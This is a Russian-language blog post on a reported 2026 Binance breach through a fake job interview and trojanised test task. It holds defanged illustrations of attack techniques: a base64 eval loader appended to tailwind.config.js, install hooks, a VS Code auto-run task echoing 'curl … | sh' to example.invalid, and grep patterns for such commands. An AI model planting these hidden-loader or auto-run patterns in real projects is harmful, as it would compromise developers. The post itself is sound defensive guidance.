Взлом Binance через фейковое собеседование: как устроена атака на разработчиков и как проверять тестовые задания

3 ноября Binance опубликовала первый отчёт о взломе 29 октября, в котором пострадали активы примерно на $6,34 млрд. Цепочка началась с заражённой установки Homebrew, найденной через поисковик, и фейкового собеседования с тестовым заданием. Разбираю, что известно об атаке, где в тестовых прячут вредоносный код, и даю два чек-листа: для разработчика и для компании.
Что известно на сегодня
Главный источник — отчёт Binance «29 October Binance Security Incident: Initial Findings and Response Update» в X (3 ноября 2026, 14:33 UTC). Отчёт предварительный, расследование продолжается, часть технических деталей Binance не раскрывает. Ниже только подтверждённое.
Цифры. По оценке Binance, затронуто около $6,34 млрд. Заморожено или перехвачено около $2,85 млрд (сумма может уточняться из-за сверки и курсов). Убытки биржа берёт на себя; на 31 октября восполнено 98% затронутых токенов.
⚠️ Цифры расходятся. The Hacker News пишет $6,43 млрд, TRM Labs (по BleepingComputer) — ~$6,36 млрд, Chainalysis — ~$6,4 млрд, ФБР — «более $6 млрд». Я использую цифру из отчёта Binance — $6,34 млрд.
Атрибуция. 31 октября ФБР связало атаку с КНДР и активностью TraderTraitor (она же Jade Sleet, UNC4899, Slow Pisces). Binance ссылается на это заявление ФБР.
Хронология атаки
По отчёту Binance; инженеры обозначены там буквами A, B и C.
Июнь 2026 — подменённый Homebrew. Инженер A (Wallet DevOps) искал через поисковик популярный ИИ-инструмент для кодинга и скачал подменённую установку Homebrew. Аномалию заметили, устройство заменили, учётные данные перевыпустили — но атакующие уже узнали роль инженера и его коллег. Binance ссылается на разбор SANS ISC о вредоносной рекламе, ведущей на поддельную страницу Homebrew со стилером для macOS.
Сентябрь 2026 — фейковое собеседование. Инженеру B, у которого в профиле на легитимной платформе для поиска работы был указан опыт в Binance, написал «Project Director». Первый раунд — видеоинтервью с «HR», которая для доверия показала свой аккаунт в соцсети с личными фото и видео. Второй — в популярном мессенджере с «CEO» вымышленной компании. В конце инженера попросили скачать «задание» — репозиторий с кодом — на рабочий компьютер.
Вредоносный код выполнился в процессе установки (setup). По словам Binance, это был 0-day, который средства защиты рабочих станций тогда не обнаружили. Он подменил легитимный компонент инструмента разработчика, связался с сервером атакующих и удалил следы. Судя по приведённому в отчёте логу, подменили pyenv из Homebrew:
CREATE /opt/homebrew/Cellar/pyenv/2.8.0/libexec/pyenv_
MODIFY pyenv_ → 3,414 B
DELETE .../libexec/pyenv (3,344 B)
RENAME pyenv_ → pyenv (3,414 B)
DELETE /opt/homebrew/bin/pyenv (3,414 B)
ln (create a new symlink) + spawn zsh
Цель — не экзотика, а инструмент, который разработчик запускает каждый день.
20 октября — внутренний ИИ-инструмент. С компьютера B через внутренний ИИ-инструмент атакующие получили контроль над устройствами инженеров A и C (механизм Binance не раскрывает). На компьютере A нашёлся токен с правом деплоя контейнеров.
29 октября, 17:15–19:56 UTC. Атакующий зашёл на компьютер C, использовал учётные данные A, задеплоил контейнер и запустил вредоносный скрипт. Это дало доступ к внутреннему сервису подписи кошельков — и возможность инициировать транзакции в обход штатного процесса вывода.
Дальше:
с 20:05 по 20:09 UTC пять горячих кошельков отправили атакующему 233,46 млн XRP;
с горячих кошельков в Solana и Optimism ушло около 970 500 SOL и 44,2 млн OP;
после этого сработал внутренний алерт Binance;
затем горячий кошелёк отправил 18 270 BTC;
атакующий злоупотребил EIP-7702: 50 подписанных транзакций (с манипуляцией nonce) установили вредоносное делегирование для горячего кошелька.
Приостановка выводов не отменяла on-chain-разрешения. А поскольку кошельки на MPC, единого ключа для мгновенного отзыва не было — пришлось срочно делать отдельную процедуру. Последний перевод, 2 961,9 ETH, подтвердился в 23:56 UTC; в 00:10 UTC 30 октября делегирование сбросили.
Что сделала Binance. Перестроила систему кошельков в новом окружении, пересобрала ИИ-инструмент и его права, заменила устройства, отозвала токены, просканировала устройства сотрудников, расширила поведенческую аналитику; запланирован независимый аудит. По её словам, за 2026 год предотвращено 57 предположительно северокорейских атак: фейковые собеседования, софт под видом инструментов разработчика, скомпрометированные пакеты и расширения, поддельные приложения для видеозвонков.
Это не уникальная история, а давно известная схема
Схема давно описана:
Contagious Interview (Unit 42): «работодатель» на интервью просит установить npm-пакет с GitHub; внутри BeaverTail (JS-стилер и загрузчик) и InvisibleFerret (Python-бэкдор). BeaverTail ищет расширения криптокошельков (Binance Wallet, MetaMask и др.) и
~/.config/solana/id.json.DeceptiveDevelopment (ESET): жертв ищут на LinkedIn, Upwork, Freelancer.com и т. п.; задание — починить баг или добавить фичу, затем собрать и запустить. Репозитории часто приватные, доступ — по вашему GitHub-аккаунту. Среди заражённых файлов —
tailwind.config.js,setupTest.js.npm (Socket, октябрь 2025): 338+ вредоносных пакетов и 50 000+ загрузок — тайпсквоты (
epxresso,dotevn,boby_parser) и «плагины» фронтенд-тулчейна (vite-plugin-react-ping,react-router-html). Код срабатывает при установке (postinstall) или импорте.Задачи VS Code (Jamf, OpenSourceMalware, Abstract Security, GitLab):
.vscode/tasks.jsonс"runOn": "folderOpen".Microsoft (29.10.2026): Jade Sleet в июне 2026 за неделю использовала три подставные компании; ИИ помогает северокорейским группам делать персонажей, приманки и репозитории-ловушки.
Где в тестовом прячут вредоносный код
Ниже безопасные иллюстрации, а не реальные образцы: домены — example.invalid, нагрузка — echo/console.log. Структура — как в описанных случаях.
1. Скрипты в package.json
npm сам запускает preinstall, install, postinstall и prepare — ещё до того, как вы открыли код.
// ПРИМЕР. Структура как в реальных атаках, нагрузка заменена.
{
"name": "defi-dashboard-test-task",
"scripts": {
"postinstall": "node ./config/env-check.js",
"prepare": "git config core.hooksPath .githooks",
"dev": "vite"
},
"dependencies": {
"react": "^18.3.1",
"vite-plugin-react-helperx": "^1.0.3"
}
}
Скрипт может сидеть и в зависимости (vite-plugin-react-helperx — выдуманное имя). Socket описывает случай с eslint-detector: зависимость из тестового несла зашифрованную нагрузку.
2. Обфусцированный код в конфигах и «скучных» файлах
Конфиги никто не читает, а npm run dev, vite build и jest их исполняют. ESET описывает приём: код дописывают в одну строку после длинного комментария, и он уезжает за край экрана; в редакторе GitHub перенос строк не включён, так что его легко пропустить.
// tailwind.config.js — ПРИМЕР, обезврежен
/** @type {import('tailwindcss').Config} */
module.exports = {
content: ['./src/**/*.{js,jsx,ts,tsx}'],
theme: { extend: {} },
plugins: [],
}; /* .......................................................................................... */ ;(function(){ const p = Buffer.from('Y29uc29sZS5sb2coImRlbW8iKQ==','base64').toString(); eval(p) })()
// ^ в реальных случаях здесь сотни символов обфусцированного загрузчика.
// В примере base64 декодируется в безобидный console.log("demo").
Ищите hex/base64-строки, eval, new Function, child_process. По данным Socket, новые загрузчики шифруют нагрузку AES-256-CBC и прячут шифротекст даже в LICENSE.
3. .vscode/tasks.json с автозапуском
// .vscode/tasks.json — ПРИМЕР. В реальных атаках вместо echo: curl/wget ... | sh
{
"version": "2.0.0",
"tasks": [
{
"label": "env",
"type": "shell",
"command": "echo 'here could be: curl https://example.invalid/setup | sh'",
"presentation": { "reveal": "never", "echo": false, "close": true },
"runOptions": { "runOn": "folderOpen" }
}
]
}
runOn: folderOpen запускает задачу при открытии папки, reveal: never прячет терминал. В реальных случаях команда скачивала скрипт и отдавала его sh или node. В Restricted Mode задачи не выполняются, а task.allowAutomaticTasks по умолчанию off (VS Code спросит разрешение). Расчёт на то, что под давлением собеседования вы нажмёте «Trust» и «Allow».
4. Git-хуки
.git/hooks при git clone не копируется. Но prepare может выставить core.hooksPath на папку из репозитория (так работает husky), и хуки сработают на git commit. А если тестовое прислали архивом с папкой .git, в .git/hooks может лежать что угодно.
5. Окружение вокруг кода
Скрипт установки может подменить инструмент в системе (у Binance — pyenv), и дальше вы сами запускаете троян. Сюда же: devcontainer.json (initializeCommand по спецификации выполняется на хосте), Makefile, setup.sh, README с curl ... | bash.
Чек-лист для разработчика
Перед запуском: читаем, а не исполняем
Первый просмотр — в браузере: на GitHub нажмите ., откроется github.dev (VS Code без терминала). Локально — только Restricted Mode.
# Клонируем в отдельную папку и НЕ открываем в IDE с доверием
git clone https://github.com/<org>/<repo>.git ~/review/repo && cd ~/review/repo
# История: когда создан, кто коммитил, сколько коммитов
git log --format='%h %ad %an <%ae> %s' --date=short | head -n 30
git shortlog -sne
# Что запустится само
jq '.scripts' package.json
ls -la .vscode .devcontainer .husky .githooks 2>/dev/null
cat .vscode/tasks.json .devcontainer/devcontainer.json 2>/dev/null
cat .gitmodules 2>/dev/null
# Подозрительные паттерны (без node_modules)
rg -n --hidden -g '!node_modules' -g '!.git' \
-e 'eval\(' -e 'new Function' -e 'child_process' -e 'execSync|spawn\(' \
-e 'base64' -e 'atob\(' -e 'fromCharCode' \
-e '(curl|wget|iwr)[^\n]*\|\s*(sh|bash|cmd|iex|node)' .
# Файлы с подозрительно длинными строками (код «за краем экрана»)
rg -l --hidden -g '!node_modules' -g '!.git' '.{400,}' .
Красные флаги: аккаунт с одним репозиторием без обновлений (отдельная рекомендация Unit 42), история из одного-двух коммитов, авторы не связаны с «компанией».
Установка: без скриптов
npm ci --ignore-scripts # или npm install --ignore-scripts
# Какие зависимости хотели бы что-то запустить при установке
rg -l --no-ignore -g 'package.json' '"(preinstall|install|postinstall)"\s*:' node_modules
Оговорка из документации npm: с --ignore-scripts команды npm start/test/run всё равно выполняют сам скрипт (отключаются только pre/post). npm run dev исполнит vite.config.js и всё, что он импортирует. В npm v11 есть политика allowScripts; в pnpm 10 скрипты зависимостей по умолчанию не запускаются (onlyBuiltDependencies), но скрипты самого проекта — да.
Запуск: изоляция
Лучше всего — одноразовая VM или облачная песочница без ваших ключей.
Минимум — контейнер без домашнего каталога и SSH-агента:
docker run --rm -it \
--cap-drop=ALL --security-opt no-new-privileges \
-v "$PWD":/app -w /app \
node:22 bash
# внутри: npm ci --ignore-scripts && npm test
Контейнер — более слабая граница, чем VM. Чужой devcontainer.json сначала прочитайте.
VS Code: не отключайте Workspace Trust, на «Do you trust the authors?» отвечайте «No», держите
task.allowAutomaticTasksвoff. Документация: «When in doubt, leave a folder in Restricted Mode».ИИ-агенты: в Restricted Mode они тоже отключены. Не просите агента «запусти и проверь» до ручного осмотра — он выполнит те же скрипты.
Где запускать: никогда на рабочем ноутбуке
Главный урок Binance: задание запустили на рабочем компьютере. Unit 42 тоже советует не проходить собеседования на корпоративной технике. Для тестовых — машина или учётка, где нет:
SSH-ключей, облачных учёток (
~/.aws,~/.kube/config), токеновgh/npm,.envс секретами;браузера с рабочими сессиями и криптокошельками;
менеджера паролей.
Если уже запустили: отключите машину от сети, отзовите ключи и токены с другого устройства и сообщите в безопасность.
Как распознать фейкового рекрутера
По отчётам Binance, Unit 42, ESET и Socket:
контакт на настоящей площадке, затем перевод в мессенджер или Google Docs;
несколько «ролей» (директор проекта, HR, CEO) и «живые» соцсети для доверия;
компанию сложно проверить независимо;
приватный репозиторий с доступом по вашему GitHub, аккаунт с одним репозиторием;
«просто запусти и почини баг», желательно прямо сейчас;
просьба поставить «их» приложение для видеозвонков;
ваш профиль кричит «крипта/финтех» — у инженера B опыт в Binance был указан прямо в профиле.
Проверка: найдите компанию независимо от письма и убедитесь, что интервьюер там действительно работает (это прямой совет Unit 42).
Чек-лист для компании
Никаких тестовых и чужих репозиториев на рабочих устройствах — и понятный канал «мне прислали странное тестовое» без наказания.
Минимальные привилегии и короткоживущие токены. Ключевым звеном стал токен деплоя контейнеров на ноутбуке. Права в критичные окружения — на время, через отдельный контур и с подтверждением второго человека.
Изоляция инфраструктуры подписи. Сервис подписи не должен быть доступен с рабочих станций и из обычного кластера; политики подписи должны явно перечислять разрешённые типы операций. Отдельный урок EIP-7702: заранее продумайте отзыв on-chain-разрешений для MPC-кошельков.
Аппаратные ключи (FIDO2/WebAuthn) для входа и подтверждения критичных действий: украденные с ноутбука пароль или токен не должны открывать подпись.
EDR обязателен, но не панацея: 0-day у Binance его обошёл. Нужны поведенческая аналитика (подмена бинарника в
/opt/homebrew, деплой с чужой машины) и сегментация.Одобренные источники софта: внутренний каталог или MDM, Homebrew и ИИ-инструменты — только с официальных сайтов, а не по рекламе в поиске.
Внутренние ИИ-инструменты — привилегированные учётки. У Binance такой инструмент стал трамплином к устройствам коллег. Права агента, его доступ к машинам и данным, кто может им командовать — проверяйте как у сервисного админ-аккаунта.
Инженеры — публичная мишень. Состав команды утёк после первого инцидента, цель второго нашли по профилю. Учитывайте это в модели угроз и тренингах.
Вместо заключения
Больше всего меня зацепила обыденность. Никакой магии: поисковая выдача, собеседование, установка тестового и токен на ноутбуке. Каждый из нас хоть раз ставил что-то по первой ссылке и запускал чужой проект «просто посмотреть».
Моё правило: чужой репозиторий — это чужой код с правами моего пользователя. Сначала читаю, ставлю без скриптов, запускаю только в изоляции и никогда — на машине с чем-то ценным. Если тестовое так выполнить нельзя, это уже ответ про «работодателя».
Пишу о технологиях простым языком в Telegram-канале: t.me/ivan_karagodin.
Источники
Об инциденте:
Binance, отчёт об инциденте (X, 03.11.2026) — https://x.com/binance/status/2117626126214504729
The Hacker News (отчёт Binance) — https://thehackernews.com/2026/11/binance-reveals-how-fake-job-interviews.html
The Hacker News (ФБР и TraderTraitor) — https://thehackernews.com/2026/11/fbi-links-north-koreas-tradertraitor-to.html
BleepingComputer — https://www.bleepingcomputer.com/news/security/binance-links-63-billion-crypto-theft-to-compromised-devops-laptop/
SANS ISC, Malicious Ad for Homebrew — https://isc.sans.edu/diary/32942
О схеме:
Unit 42, Contagious Interview — https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/
ESET, DeceptiveDevelopment — https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/
Socket, 338 malicious npm packages — https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages
Abstract Security, VS Code Tasks — https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector
Jamf Threat Labs — https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/
OpenSourceMalware — https://opensourcemalware.com/blog/latest-contagious-interview-malware-campaign-abuses-microsoft-vscode-tasks
GitLab — https://about.gitlab.com/blog/how-to-detect-and-prevent-contagious-interview-ide-attacks/
Microsoft Threat Intelligence (29.10.2026) — https://www.microsoft.com/en-us/security/blog/2026/10/29/tracking-ai-adoption-in-north-korean-threat-actor-tradecraft/
Документация:
npm install — https://docs.npmjs.com/cli/v11/commands/npm-install
pnpm 10.0.0 changelog — https://github.com/pnpm/pnpm/blob/v10.0.0/pnpm/CHANGELOG.md
VS Code Workspace Trust — https://code.visualstudio.com/docs/editing/workspaces/workspace-trust
VS Code Tasks — https://code.visualstudio.com/docs/debugtest/tasks
githooks — https://git-scm.com/docs/githooks
Dev Container JSON reference — https://containers.dev/implementors/json_reference/
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.